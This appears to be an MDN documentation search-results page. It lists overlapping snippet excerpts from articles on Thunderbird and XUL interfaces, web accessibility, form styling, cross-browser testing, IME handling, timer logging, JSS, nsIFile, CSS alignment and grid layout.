...o: somefolder.msgdatabase.addlistener(mylistener); alternately, you can access the message database through the nsimsgdbview like so: gfolderdisplay.view.dbview.db.addlistener(mylistener); method overview void onhdrflagschanged(in nsimsgdbhdr ahdrchanged, in unsigned long aoldflags, in unsigned long anewflags, in nsidbchangelistener ainstigator); void onhdrdeleted(in nsimsgdbhdr ahdrchanged, in nsmsgkey aparentkey, in long aflags, in nsidbchangelistener ainstigator); void onhdradded(in nsimsgdbhdr ahdrchanged, in nsmsgkey aparentkey, in long aflags, in nsidbchangelistener ainstigator); void onparentchanged(in nsmsgkey akeychanged, in nsmsgkey oldparent, in nsmsgkey newparent, in nsidbchangelistener ainstigator); void onannouncergoingaway(...
...ainstigator); void onparentchanged(in nsmsgkey akeychanged, in nsmsgkey oldparent, in nsmsgkey newparent, in nsidbchangelistener ainstigator); void onannouncergoingaway(in nsidbchangeannouncer instigator); void onreadchanged(in nsidbchangelistener ainstigator); void onjunkscorechanged(in nsidbchangelistener ainstigator); void onhdrpropertychanged(in nsimsgdbhdr ahdrtochange, in unsigned long aoldflags, in prbool aprechange, inout pruint32 astatus, in nsidbchangelistener ainstigator); void onevent(in nsimsgdatabase adb, in string aevent); methods onhdrflagschanged() called when a message's flags change. ...
...And 11 more matches
nsIPromptService
an instance, use: var promptservice = components.classes["@mozilla.org/embedcomp/prompt-service;1"] .getservice(components.interfaces.nsipromptservice); method overview void alert(in nsidomwindow aparent, in wstring adialogtitle, in wstring atext); void alertcheck(in nsidomwindow aparent, in wstring adialogtitle, in wstring atext, in wstring acheckmsg, inout boolean acheckstate); boolean confirm(in nsidomwindow aparent, in wstring adialogtitle, in wstring atext); boolean confirmcheck(in nsidomwindow aparent, in wstring adialogtitle, in wstring atext, in wstring acheckmsg, inout boolean acheckstate); print32 confirmex(in nsidomwindow aparent,in wstring adialogtitle,in wstring atext, in unsigned long abuttonflags,in w...
...ng adialogtitle, in wstring atext); boolean confirmcheck(in nsidomwindow aparent, in wstring adialogtitle, in wstring atext, in wstring acheckmsg, inout boolean acheckstate); print32 confirmex(in nsidomwindow aparent,in wstring adialogtitle,in wstring atext, in unsigned long abuttonflags,in wstring abutton0title, in wstring abutton1title,in wstring abutton2title,in wstring acheckmsg, inout boolean acheckstate); boolean prompt(in nsidomwindow aparent, in wstring adialogtitle, in wstring atext, inout wstring avalue, in wstring acheckmsg, inout boolean acheckstate); boolean promptusernameandpassword(in nsidomwindow aparent, in wstring adialogtitle, in wstring atext, inout wstring ausername, inout wstring apassword, in wstring acheckmsg, inout boolean acheckst...
...wstring acheckmsg, inout boolean acheckstate); boolean promptusernameandpassword(in nsidomwindow aparent, in wstring adialogtitle, in wstring atext, inout wstring ausername, inout wstring apassword, in wstring acheckmsg, inout boolean acheckstate); boolean promptpassword(in nsidomwindow aparent, in wstring adialogtitle, in wstring atext, inout wstring apassword, in wstring acheckmsg, inout boolean acheckstate); boolean select(in nsidomwindow aparent, in wstring adialogtitle, in wstring atext, in pruint32 acount, [array, size_is(acount)] in wstring aselectlist, out long aoutselection); constants the following flags are combined to form the abuttonflags parameter passed to confirmex. all flags are defined as unsigned long constants and can be accessed as compon...
...And 11 more matches
Gloda examples
amples for using gloda. see creating a gloda message query for more examples. ...
...xamples. ...
...ssages in a conversation regardless of the folder in which they are stored, b) search messages by subject assuming that you have a message (glodamessage) in the conversation already, this is straight forward using glodamessage.conversation.getmessagescollection() alistener = { /* called when new items are returned by the database query or freshly indexed */ onitemsadded: function _onitemsadded(aitems, acollection) { }, /* called when items that are already in our collection get re-indexed */ onitemsmodified: function _onitemsmodified(aitems, acollection) { }, /* called when items that are in our collection are purged from the system */ onitemsremoved: function _onitemsremoved(aitems, acollection) { }, /* called when our database query completes */ ...
...And 11 more matches
Adding Toolbars and Toolbar Buttons - Archive of obsolete content
range toolbar buttons to their liking, possibly merging multiple toolbars in the process. firefox allows all of this by default, and if you don't pay attention to the details we describe here, your toolbar may not be as easy to customize as the rest. the first thing you need to do is add your buttons to the toolbar palette. the toolbarpalette is a collection of all toolbar buttons and toolbar items in firefox, including those added by extensions. to add your buttons, all you need to do is overlay the palette in your main browser overlay. <overlay id="xulschoolhello-browser-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <toolbarpalette id="browsertoolbarpalette"> <toolbarbutton id="xulschoolhello-hello-world-button" class="toolbarbutton-1 chrom...
...e very important for users that want to know what a button does before clicking it. setting the image for a toolbar button is done with css: #xulschoolhello-hello-world-button { list-style-image: url("chrome://xulschoolhello/skin/hello-world.png"); } it's not really that simple to set the image for a toolbar button, because we need to consider the appearance of the button on different systems, and also consider the different button states, but we'll get into that further ahead. the css file with your toolbar styles needs to be included in the overlay file, as you would expect, but also in the chrome.manifest file. this is very important because the toolbar customization dialog won't work correctly without this. the way to include the file in the manifest is to add this line: style c...
...lay file, as you would expect, but also in the chrome.manifest file. this is very important because the toolbar customization dialog won't work correctly without this. the way to include the file in the manifest is to add this line: style chrome://global/content/customizetoolbar.xul chrome://xulschoolhello/skin/toolbar.css if you are using xbl bindings (explained way ahead) for your toolbar items, you'll have to include the css files for those as well, each in a new line like the one above. we now have code that adds one or more buttons to the toolbar palette. the user can now use the customize dialog to add the buttons to the current firefox toolbars. in most cases this is not what you want as default behavior, because it would be very hard for the user to discover your buttons. keep in...
...And 10 more matches
List of Mozilla-Based Applications - Archive of obsolete content
ion (xulrunner) chromium and google chrome web browser uses mozilla nss and npapi libraries chromeless browser with html-based interface classilla mozilla browser for mac os 9 clines a clone of color lines (game) standalone version cloud web operating system cloud browse iphone/ipad/ipod touch browser seems to be firefox running remotely on servers that people access through device conkeror keyboard-oriented browser convertigo enterprise mashup server server tool for transactional web scraping and for web clipping cometbird another firefox mod modified version of firefox correo email couac (fr) web-based email and jabber app ...
... desktop 2 internal browser and portal client expeditors international of washington, inc. dogtag certificate system uses nss dojo javascript toolkit uses mozilla rhino in shrinksafe eclipse platform open development platform the ajax toolkit framework, standard widget toolkit and eclipsemozilla projects make use of mozilla elixon wcms/xul web content management system fully remote xul wcms (no need to install extensions). entelechy chat bot uses xulrunner epic browser web browser based on chromium uses mozilla nss and npapi libraries emusic download manager music downloader for emusic emusic remote music manager enlis genome personal genome browse...
... font management tool firecast digital signage and interactive kiosk tool...
...And 10 more matches
Source code directories overview - Archive of obsolete content
d to xpidl interfaces, the value of the public directory diminishes. src contains the bulk of the source code. tests contains c harnesses, html or xul that exercise this module. tools contains scripts for automatically generating certain source code and other special tools for building this module. there are also platform dependent subdirectories which contain source code for specific platforms. windows contains source code for windows 95, windows 98 and windows nt 4.0. mac contains source code for macos: both the powerpc and 68000 versions. gtk contains source code for gtk (a.k.a. the gimp toolkit) which runs on x-windows on unix. motif contains source code for motif, a toolkit which runs on x-windows on unix. os2 contains source code for os/2 warp. rhapsody contains source co...
... for mac os x server (which is based on nextstep which is based on x-windows on unix) using yellow box (cocoa). beos contains source code for beos. qt contains source code for the qt toolkit, a c class library which runs on x-windows on unix, windows 95, windows 98 and window nt 4.0. ...
...h is based on nextstep which is based on x-windows on unix) using yellow box (cocoa). beos contains source code for beos. qt contains source code for the qt toolkit, a c class library which runs on x-windows on unix, windows 95, windows 98 and window nt 4.0. photon contains source code for photon, a microkernel windowing system used in several real-time operating systems from qnx software systems ltd. seamonkey seamonkey is the development name for the mozilla browser suite. accessible contains code to support microsoft active accessibility and sun's atk accessibility api for linux. browser contains the code for firefox. this will be covered below. build contains scripts (usually perl) and programs used by the mozilla build team for building and managing the mozilla code base. the...
...And 10 more matches
Menus - Archive of obsolete content
. this type of menu would be used when you want to have a set of commands yet don't want to use a menu bar, for example in a dialog box. see menu buttons for more information. toolbarbutton toolbar buttons can also support menus. this works just like it does for other buttons. see menu buttons for more information. menulist a menulist is used when you wish the user to select from a list of items. for this type of menu, one of the items within it is selected. when another item is selected, the label of the item is set as the label of the menulist. other user interfaces call this type of widget a combobox. you may also see a popup tag used in place of the menupopup tag. the popup tag is deprecated but is equivalent to the menupopup tag. menu tag overview the following shows a simple me...
...item label="exit"/> </menupopup> </menu> </menubar> there are five tags used in this example, described briefly here: menubar a row of menus that appears along the top of the window or screen. it should contain menu elements. menu a label of a menu on a menubar, for instance 'file' or 'tools'. a menu can also be used as the label of a submenu. menupopup a popup containing items to appear on a menu. the menupopup in the example above is a child of the 'file' menu and will appear when the menu label is clicked. menuitem a single item to appear on a menu. when the user moves the mouse over a menuitem, it will highlight the item. the cursor keys can also be used to adjust which menuitem is the current item. a menuitem is associated with a command to carry out. menu...
...p in the example above is a child of the 'file' menu and will appear when the menu label is clicked. menuitem a single item to appear on a menu. when the user moves the mouse over a menuitem, it will highlight the item. the cursor keys can also be used to adjust which menuitem is the current item. a menuitem is associated with a command to carry out. menuseparator a separator between items in a menu. in the example above, the 'file' menu has four menuitems and one menuseparator on it. the menu and each menuitem has a label indicating its purpose. other types of tags should not appear on a menupopup. if you want to create a general purpose popup that isn't a menu, use a panel instead. for this, see panels. the menubar element a menu bar is created by using the xul menubar tag. ...
...And 10 more matches
Browser Detection and Cross Browser Support - Archive of obsolete content
w it. have a look to the more current article writing forward-compatible websites to find modern informations. improper browser detection can lead to web maintenance nightmares. rethinking the basics of when and how to detect user agents is crucial to creating maintainable, cross browser web content. this article reviews several approaches to browser detection, their usefulness in specific circumstances to arrive at a common sense approach to browser detection. quick tip if you must determine if a visitor is using a gecko-based browser, simply test navigator.product == 'gecko' or look for the string 'gecko/' in the navigator.useragent. note that some other browsers such as safari are reporting (like gecko) in their user agent strings and can confuse simple tests. introduction in an i...
... the w3c and ecma standards. however, we don't quite live in such a world yet. due to bugs, incomplete implementations of the standards and legacy browsers, web developers must be able to determine which browser a visitor is using and provide the appropriate content and scripting code path. although browser detection is perhaps the most common scripting task that every web developer faces, it seems that the variety of different strategies in use for detecting browsers is unlimited. as a member of the netscape evangelism team who has spent over a year investigating existing web content, i can say without a doubt that most compatibility problems found on the web today are due to a lack of understanding of the standards combined with inadequate and inappropriate browser detection strategies. ...
...avascript) standards. it also includes compatibility features which allow it to reasonably handle legacy content which was developed for earlier generations of browsers such as netscape navigator 4 as well as features which provide compatibility with internet explorer 5 and 6. unlike other browsers, gecko is truly cross platform and provides consistent behavior across all supported operating systems. the easiest way to support gecko is to create content which follows web standards. unfortunately, no other browser supports web standards as completely as gecko. this means web developers and authors are forced to continue to support other browsers which do not comply with the standards as fully. fortunately, other browsers such as opera (versions 7 & later) and to a lesser extent, internet exp...
...And 10 more matches
WAI-ARIA basics - Learn web development
here we'll show how to use it at a basic level to improve accessiblity. ...
...eracy, a basic understanding of html, css, and javascript, an understanding of the previous articles in the course. objective: to gain familiarity with wai-aria, and how it can be used to provide useful additional semantics to enhance accessibility where required. what is wai-aria? let's start by looking at what wai-aria is, and what it can do for us. a whole new set of problems as web apps started to get more complex and dynamic, a new set of accessibility features and problems started to appear. for example, html5 introduced a number of semantic elements to define common page features (<nav>, <footer>, etc.) before these were available, developers would simply use <div>s with ids or classes, e.g. <div class="nav">, but these were problematic, as there was no easy way...
... screenreader in the first place, your operating system needs to run browsers that have the necessary accessibility apis in place to expose the information screenreaders need to do their job. most popular oses have one or two browsers in place that screenreaders can work with. the paciello group has a fairly up-to-date post that provides data for this — see rough guide: browsers, operating systems and screen reader support updated. next, you need to worry about whether the browsers in question support aria features and expose them via their apis, but also whether screenreaders recognise that information and present it to their users in a useful way. browser support is generally quite good — at the time of writing, caniuse.com stated that global browser support for wai-aria was around...
...And 10 more matches
Advanced form styling - Learn web development
previous overview: forms next in this article, we will see what can be done with css to style the types of form control that are more difficult to style — the "bad" and "ugly" categories. as we saw in the previous article, text fields and buttons are perfectly easy to style; now we will dig into styling the bits that are more problematic. prerequisites: basic computer literacy, and a basic understanding of html and css. objective: to understand what parts of forms are hard to style, and why; to learn what can be done to customize them. to recap what we said in the previous article, we have: the bad: some elements are more difficult to style, requiring more complex css or some more specific tricks: checkboxes and radio buttons <input type="sear...
...roperty. prefixed usually means "work in progress", so in the future browser vendors may come to a consensus to drop the prefix. the above code is good for future-proofing against such an eventuality. the following live example shows you what they look like in your system — default on the left, and with the above css applied on the right (find it here also if you want to test it on other systems). in most cases, the effect is to remove the stylized border, which makes css styling a bit easier, but isn't really essential. in a couple of cases — search and radio buttons/checkboxes, it becomes way more useful. we'll look at those now. taming search boxes <input type="search"> is basically just a text input, so why is appearance: none; useful here? the answer is that in chromium-based...
...n't have appearance: none; applied, but it doesn't suffer from the same problem in macos chrome as the previous example. note: you may have noticed that in the search field, the "x" delete icon disappears when the input loses focus in edge and chrome, but stays put in safari. to remove via css, you can use input[type="search"]::-webkit-search-cancel-button { display: none; }. however, this seems to get rid of the icon with focus too, with no apparent way to get it back. styling checkboxes and radio buttons styling a checkbox or a radio button is tricky by default. the sizes of check boxes and radio buttons are not meant to be changed with their default designs, and browsers react very differently when you try. for example, consider this simple test case: <span><input type="checkbox"...
...And 10 more matches
How to structure a web form - Learn web development
using correct structure when building an html form will help ensure that the form is both usable and accessible. ...
...using correct structure when building an html form will help ensure that the form is both usable and accessible. ...
...next with the basics out of the way, we'll now look in more detail at the elements used to provide structure and meaning to the different parts of a form. prerequisites: basic computer literacy, and a basic understanding of html. objective: to understand how to structure html forms and give them semantics so they are usable and accessible. the flexibility of forms makes them one of the most complex structures in html; you can build any kind of basic form using dedicated form elements and attributes. using correct structure when building an html form will help ensure that the form is both usable and accessible. the <form> element the <form> element formally defines a form and attributes that determine the form's behavior. each time you want to create an h...
...And 10 more matches
Introduction to client-side frameworks - Learn web development
a brief history of javascript and frameworks, why frameworks exist and what they give us, how to start thinking about choosing a framework to learn, and what alternatives there are to client-side frameworks. prerequisites: familiarity with the core html, css, and javascript languages. objective: to understand how client-side javascript frameworks came to exist, what problems they solve, what alternatives there are, and how to go about choosing one. a brief history when javascript debuted in 1996, it added occasional interactivity and excitement to a web that was, up until then, composed of static documents. the web became not just a place to read things, but to do things. javascript’s popularity steadily increased. developers who worked with javascript wrot...
...ves there are, and how to go about choosing one. a brief history when javascript debuted in 1996, it added occasional interactivity and excitement to a web that was, up until then, composed of static documents. the web became not just a place to read things, but to do things. javascript’s popularity steadily increased. developers who worked with javascript wrote tools to solve the problems they faced, and packaged them into reusable packages called libraries, so they could share their solutions with others. this shared ecosystem of libraries helped shape the growth of the web. now, javascript is an essential part of the web, used on 95% of all websites, and the web is an essential part of modern life. users write papers, manage their budgets, stream music, watch movies, and commun...
...on and learning from the original angularjs project. vue is the youngest of the big four, but has enjoyed a recent uptick in popularity. vue, like angularjs, extends html with some of its own code. apart from that, it mainly relies on modern, standard javascript. start learning vue react facebook released react in 2013. by this point, it had already been using react to solve many of its problems internally. react itself is not technically a framework; it's a library for rendering ui components. react is used in combination with other libraries to make applications — react and react native enable developers to make mobile applications; react and reactdom enable them to make web applications, etc. because react and reactdom are so often used together, react is colloquially understood as...
...And 10 more matches
Strategies for carrying out testing - Learn web development
previous overview: cross browser testing next this article starts the module off by providing an overview of the topic of (cross) browser testing, answering questions such as "what is cross-browser testing?", "what are the most common types of problems you'll encounter?", and "what are the main approaches for testing, identifying, and fixing problems?" prerequisites: familiarity with the core html, css, and javascript languages; an idea of the high level principles of cross-browser testing. objective: to gain an understanding of the high-level concepts involved in cross-browser testing. gotta test 'em all? when doing cross-browser testing, you need to work out a list of browsers you will need to test on to start with. there is no way you can test on...
...c, and not particularly accurate, but they can give you an idea of broad trends. for example, let's go to netmarketshare. you can see that opera is listed as having small but visible usage figures, so we should add it to our support chart too as grade c. ie8 is listed as being significant too, but it is older and no longer capable. opera mini is also significant, but it isn't very capable in terms of running complex javascript at runtime, etc (see opera mini and javascript for more details). we should put this into grade b as well. using analytics a much more accurate source of data, if you can get it, comes from an analytics app like google analytics. this is an application that will give you accurate stats on exactly what browsers people are using to browse your site. of course, this r...
...sn't much good for completely new sites. but an analytics history can be useful for finding support stats to influence say a new version of a company's site, or new features you are adding to an existing site. if you have these available, they are far more accurate than global browser stats like those mentioned above. you may also consider using open source and privacy focussed analytics platforms like open web analytics and matomo. they expect you to self-host the analytics platform. setting up google analytics first of all, you'll need a google account. use this account to sign into google analytics. choose the google analytics (web) option, and click the sign up button. enter your web site/app details into the signup page. this is fairly intuitive to set up; the most important fi...
...And 10 more matches
IME handling guide
ime is a helper application of a user's text input. it handles native key events before or after focused application (depending on the platform) and creates a composition string (a.k.a. preedit string), suggests a list of what the user attempts to input, commits composition string as a selected item off the list and commits composition string without any conversion. ...
...mmits composition string without any conversion. ime is used by chinese, japanese, korean and taiwan users for inputting chinese characters because the number of them is beyond thousands and cannot be input from the keyboard directly. however, especially on mobile devices nowadays, ime is also used for inputting latin languages like autocomplete. additionally, ime may be used for handwriting systems or speech input systems on some platforms. if ime is available on focused elements, we call that state "enabled". if ime is not fully available(i.e., user cannot enable ime), we call this state "disabled". if ime is enabled but users use direct input mode (e.g., for inputting latin characters), we call it "ime is closed". otherwise, we call it "ime is open". (fyi: "open" is also called "active"...
...l text in the editor. if we can separate editor contents per paragraph, moving selection between paragraphs generates pseudo focus move, we can reduce this size and runtime cost of contenteventhandler. however, we've not had a plan to do that yet. note that microsoft word uses this hack. mcompositionstart offset of composition string in mtext. when there is no composition, this is uint32_max. ...
...And 10 more matches
TimerFirings logging
n logging mechanism, and so is able to be used in any build. set the following environment variable to enable it. nspr_log_modules=timerfirings:4 output once enabled, timerfirings will print one line of logging output per timer fired. it's best to redirect this output to a file. the following sample shows the basics of this output. ...
...ent variable to enable it. nspr_log_modules=timerfirings:4 output once enabled, timerfirings will print one line of logging output per timer fired. it's best to redirect this output to a file. the following sample shows the basics of this output. -991946880[7f46c365ba00]: [6775] fn timer (slack 100 ms): layeractivitytracker -991946880[7f46c365ba00]: [6775] fn timer (one_shot 250 ms): presshell::spaintsuppressioncallback -991946880[7f46c365ba00]: [6775] fn timer (one_shot 160 ms): nsbrowserstatusfilter::timeouthandler -991946880[7f46c365ba00]: [6775] iface timer (one_shot 200 ms): 7f46964d7f80 -1340643584[7f46c365ec00]: [6775] obs timer (slack 1000 ms): 7f46a95a0200 each line has the following information. the first two values identify the thread. this is n...
... have an informative label. interface and observer timers only have an address, which is less useful, but they are uncommon enough that this usually doesn't matter much. the above example shows only timers from c++ within gecko. there are also timers for settimer or setinterval calls in javascript code, as the following sample shows. -991946880[7f46c365ba00]: [6775] fn timer (one_shot 0 ms): [content] chrome://browser/content/tabbrowser.xml:1816:0 711637568[7f3219c48000]: [6835] fn timer (one_shot 100 ms): [content] http://edition.cnn.com/:5:7231 711637568[7f3219c48000]: [6835] fn timer (one_shot 100 ms): [content] http://a.visualrevenue.com/vrs.js:6:9423 these js timers are annotated with [content] and show the javascript source location where they were created. they c...
...And 10 more matches
Mozilla-JSS JCA Provider notes
ech.crypto overview this document describes the jca provider shipped with jss. the provider's name is "mozilla-jss". it implements cryptographic operations in native code using the nss libraries. contents signed jar file installing the provider specifying the cryptotoken supported classes what's not supported signed jar file jss implements several jce (java cryptography extension) algorithms. these algorithms have at various times been export-controlled by the us government. jre therefore requires that jar files implementing jce algorithms be digitally signed by an approved organization. the maintainers of jss, sun, red hat, and mozilla, have this approval and signs the official builds of jss4.jar. at runtime, the jre automatically verifies this signature whenever a jss class is load...
...to the application (unless it fails and throws an exception). if you are curious, you can verify the signature on the jar file using the jarsigner tool, which is distributed with the jdk. if you build jss yourself from source instead of using binaries downloaded from mozilla.org, your jar file will not have a valid signature. this means you will not be able to use the jss provider for jce algorithms. you have two choices. use the binary release of jss from mozilla.org. apply for your own jce code-signing certificate following the procedure at how to implement a provider for the javatm cryptography extension. then you can sign your own jss jar file. installing the provider in order to use any part of jss, including the jca provider, you must first call cryptomanager.initialize(). by defa...
...is will happen on tokenb because tokenb // was the per-thread default token when dsakpg was created. ...
...And 10 more matches
nsIFile
system. inherits from: nsisupports last changed in gecko 30.0 (firefox 30.0 / thunderbird 30.0 / seamonkey 2.27) nsifile is the correct platform-agnostic way to specify a file; you should always use this instead of a string to ensure compatibility. with an nsifile you can navigate to ancestors or descendants without having to deal with the different path separators used on different platforms, query the state of any file or directory at the position represented by the nsifile and create, move or copy items in the filesystem. an nsifile can be retrieved by either instantiating an nsilocalfile using a platform specific path string or by using cross-platform locations retrieved from the directory service. all methods with string parameters have two forms. the preferred form operates on...
...in addition, the native form cannot deal with files whose name contains characters outside the default system code page on windows. ...
... value of this attribute is the number of bytes corresponding to the data represented by the symbolic link. any meta data, such as a resource fork on the mac, is not included in the measurement of the file size. read only. followlinks prbool determines whether or not the nsifile will automatically resolve symbolic links. by default, this value is false on all non-unix systems. as of mozilla 1.7, this attribute is ignored on unix systems. lastmodifiedtime print64 this attribute exposes the time when the file referenced by this nsifile was last modified. the value of this attribute is milliseconds since midnight (00:00:00), january 1, 1970 greenwich mean time (gmt). changing the last modified time of a nsifile operates on the underlying file...
...And 10 more matches
Accessibility Inspector - Firefox Developer Tools
herwise needs attention. this article takes you through the main features of the accessibility inspector and how to use it. a (very) brief guide to accessibility accessibility is the practice of making your websites usable by as many people as possible. this means trying your best to not lock anyone out of accessing information because of any disability they may have, or any other personal circumstances such as the device they are using, the speed of their network connection, or their geographic location or locale. you can find more extensive information in the accessibility section of mdn web docs. here we are mainly talking about exposing information to people with visual disabilities — this is done via the accessibility apis available inside web browsers, which expose information on ...
... wish to use the accessibility features at all, you can use the configuration editor to set the preference devtools.accessibility.enabled to false. if you do this, the ways listed above for activating the accessibility inspector do nothing. features of the accessibility panel the enabled accessibility panel looks like so: on the left-hand side, there is a tree diagram representing all the items in the accessibility tree for the current page. items with nested children have arrows that can be clicked to reveal the children, so you can move deeper into the hierarchy. each item has two properties listed: role — the role this item has on the page (e.g., pushbutton, or footer). this can be either a default role provided by the browser, or a role given to it via a wai-aria role attribute...
...arget" icon highlights the dom node in the page content. description — any further description provided on the element, usually by the content of a title attribute. keyboardshortcut — any keyboard shortcut that is available to activate the element, as specified in an accesskey attribute. note that this works correctly as of firefox 62 (bug 1467381). childcount — the number of child items the current item has in the accessibility tree hierarchy. indexinparent — an index value indicating what number child the item is, inside its parent. if the item is the first item inside its parent, it has a value of 0. if it is the second, it has a value of 1. and so on. states — a list of the different accessibility-relevant states that can apply to the current item. for example, one of t...
...And 10 more matches
FileSystemEntry - Web APIs
l w3c or whatwg specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...upport 18alternate name full support 18alternate name alternate name uses the non-standard name: entryfirefox android full support 50opera android no support nosafari ios full support 11.3samsung internet android full support yesprefixed full support yesprefixed prefixed implemented with the vendor prefix: webkitcopyto experimentaldeprecatednon-standardchrome full support 8edge full support 79firefox ...
... nowebview android full support ≤37chrome android full support 18firefox android no support noopera android no support nosafari ios no support nosamsung internet android full support yesfilesystem experimentalchrome full support 8edge full support 79firefox full support 50ie no support noopera no support ...
...And 10 more matches
IDBDatabaseSync - Web APIs
b api was originally intended for use only with web workers, and was eventually removed from the spec because its need was questionable. it may however be reintroduced in the future if there is enough demand from web developers. the databasesync interface in the indexeddb api represents a synchronous connection to a database. ...
...y intended for use only with web workers, and was eventually removed from the spec because its need was questionable. it may however be reintroduced in the future if there is enough demand from web developers. the databasesync interface in the indexeddb api represents a synchronous connection to a database. ...
...e reintroduced in the future if there is enough demand from web developers. the databasesync interface in the indexeddb api represents a synchronous connection to a database. ...
...And 10 more matches
CSS Box Alignment - CSS: Cascading Style Sheets
this document details the general concepts found in the specification. note: the documentation for each layout method will detail how box alignment is applied there. older alignment methods css traditionally had very limited alignment capabilities. ...
... examples the following examples demonstrate how some of the box alignment properties are applied in grid and flexbox. css grid layout alignment example in this example using grid layout, there is extra space in the grid container after laying out the fixed width tracks on the inline (main) axis. this space is distributed using justify-content. ...
...of the box alignment properties are applied in grid and flexbox. css grid layout alignment example in this example using grid layout, there is extra space in the grid container after laying out the fixed width tracks on the inline (main) axis. this space is distributed using justify-content. on the block (cross) axis the alignment of the items inside their grid areas is controlled with align-items. the first item overrides the align-items value set on the group by setting align-self to center. flexbox alignment example in this example, three flex items are aligned on the main axis using justify-content and on the cross axis using align-items. the first item overrides the align-items set on the group by setting align-self to center. key concepts and terminology the specification det...
...And 10 more matches
CSS Grid Layout and Progressive Enhancement - CSS: Cascading Style Sheets
tain all of the properties and values that the up-to-date specification has. there are also substantial differences between what shipped in ie10 and the current specification, even where the properties and values appear the same. this early implementation is also the version of grid layout implemented in edge up to version 15. ...
...ifferences between what shipped in ie10 and the current specification, even where the properties and values appear the same. this early implementation is also the version of grid layout implemented in edge up to version 15. the ie/edge (≤15) version of the specification is prefixed with an -ms prefix and the properties implemented in ie/edge (≤15) are as follows: grid-template-columns as -ms-grid-columns grid-template-rows as -ms-grid-rows grid-row-start as -ms-grid-row grid-column-start as -ms-grid-column align-self as -ms-grid-row-align justify-self as -ms-grid-column-align the ie version has additional properties not required in the new specification of -ms-grid-column-span and -ms-grid-row-span. this version does not include auto-placement capability, or grid template area...
...by default, grid prefixes are disabled, but you can enable it with grid: true option. ...
...And 10 more matches
ui/toolbar - Archive of obsolete content
showing and hiding toolbars by default, a toolbar is shown when it is created, although you can specify that a toolbar should be hidden initially by passing hidden:true as an option in its constructor. after that, though, you can't show or hide the toolbar pro...
... toolbar for all browser windows, so operations like show and hide work across all browser windows. if you need to customize content for a particular browser window, you can do that by messaging the window-specific frame hosted by that toolbar. globals constructors toolbar(options) creates a toolbar. the only mandatory option is title, but for the toolbar to contain any actual content, the items parameter must also be supplied, and must contain at least object. this add-on creates a toolbar containing one button and a frame: var { actionbutton } = require('sdk/ui/button/action'); var { frame } = require("sdk/ui/frame"); var { toolbar } = require("sdk/ui/toolbar"); var button = actionbutton({ id: "my-button", label: "my-button", icon: "./my-button.png" }); var frame = new frame({...
... creates a toolbar containing one button and a frame: var { actionbutton } = require('sdk/ui/button/action'); var { frame } = require("sdk/ui/frame"); var { toolbar } = require("sdk/ui/toolbar"); var button = actionbutton({ id: "my-button", label: "my-button", icon: "./my-button.png" }); var frame = new frame({ url: "./my-frame.html" }); var toolbar = toolbar({ title: "player", items: [button, frame] }); this add-on creates a toolbar with one frame, that's hidden initially, and that logs show and hide events: var { toolbar } = require("sdk/ui/toolbar"); var { frame } = require("sdk/ui/frame"); var frame = new frame({ url: "./frame.html" }); var toolbar = toolbar({ title: "my toolbar", items: [frame], hidden: true, onshow: showing, onhide: hiding }); function ...
...And 9 more matches
The Business Benefits of Web Standards - Archive of obsolete content
caught between a rock and a hard place, web designers face a formidable challenge. yet they are finding an unsuspected ally in the battle: web standards. this article discusses how adhering to web standards, and leaving behind proprietary markup and technologies, can contribute to a company's business goals. site wide consistent look and feel by separating structure (or content) from presentation, web designers have a lot to gain. ...
... (as opposed to the often-used transitional html markup), forces the designer not to use presentation tags in the html documents, naturally enforcing the separation of content from presentation. by locating all the style and design issues in one document - the style sheet - whole sites can be rethemed in one go. the blogging community are particularly dynamic in this respect where on many platforms including wordpress, textpattern and habari, the site theme is a complete and discrete entity in its own right. improved user experience: less bandwidth and fast loads html code is often much more compact (therefore easier to read and maintain) when used in conjunction with css. according to various reports, case studies, and andy king, author of speed up your web site: web site optimization, c...
...ngine agents crawl the web to index it, but for ranking and indexing purposes they can only process text. dynamic effects such as those created by javascript are not taken into account, and text rendered with graphics cannot be read and parsed either. separating presentation from content increases the information/markup ratio, making css-based documents more pertinent with regard to the search terms, which makes them rank higher in search results. using css to render titles instead of graphics also helps in this regard. there are very significant differences in how search engines operate. instead of worrying about each engine and attempting to artificially manipulate the results, web standards pages index and rank properly (where they deserve to) across all search engines. in the same way t...
...And 9 more matches
HTML: A good basis for accessibility - Learn web development
all at once. there are other issues too beyond accessibility — it is harder to style the content using css, or manipulate it with javascript, for example, because there are no elements to use as selectors. using clear language the language you use can also affect accessibility. in general, you should use clear language that is not overly complex and doesn't use unnecessary jargon or slang terms. this not only benefits people with cognitive or other disabilities; it benefits readers for whom the text is not written in their first language, younger people ... everyone, in fact! apart from this, you should try to avoid using language and characters that don't get read out clearly by the screen reader. for example: don't use dashes if you can avoid it. instead of writing 5–7, write 5 t...
...aders for whom the text is not written in their first language, younger people ... everyone, in fact! apart from this, you should try to avoid using language and characters that don't get read out clearly by the screen reader. for example: don't use dashes if you can avoid it. instead of writing 5–7, write 5 to 7. expand abbreviations — instead of writing jan, write january. expand acronyms, at least once or twice. instead of writing html in the first instance, write hypertext markup language. page layouts in the bad old days, people used to create page layouts using html tables — using different table cells to contain the header, footer, sidebar, main content column, etc. this is not a good idea because a screen reader will likely give out confusing readouts, especially if the...
...ures separately, then get out of the table again to carry on navigating the content. table layouts are a relic of the past — they made sense back when css support was not widespread in browsers, but now they just create confusion for screen reader users. additionally, their source code requires more markup, which makes them less flexible and more difficult to maintain. ...
...And 9 more matches
HTML: A good basis for accessibility - Learn web development
all at once. there are other issues too beyond accessibility — it is harder to style the content using css, or manipulate it with javascript, for example, because there are no elements to use as selectors. using clear language the language you use can also affect accessibility. in general, you should use clear language that is not overly complex and doesn't use unnecessary jargon or slang terms. this not only benefits people with cognitive or other disabilities; it benefits readers for whom the text is not written in their first language, younger people ... everyone, in fact! apart from this, you should try to avoid using language and characters that don't get read out clearly by the screen reader. for example: don't use dashes if you can avoid it. instead of writing 5–7, write 5 t...
...aders for whom the text is not written in their first language, younger people ... everyone, in fact! apart from this, you should try to avoid using language and characters that don't get read out clearly by the screen reader. for example: don't use dashes if you can avoid it. instead of writing 5–7, write 5 to 7. expand abbreviations — instead of writing jan, write january. expand acronyms, at least once or twice. instead of writing html in the first instance, write hypertext markup language. page layouts in the bad old days, people used to create page layouts using html tables — using different table cells to contain the header, footer, sidebar, main content column, etc. this is not a good idea because a screen reader will likely give out confusing readouts, especially if the...
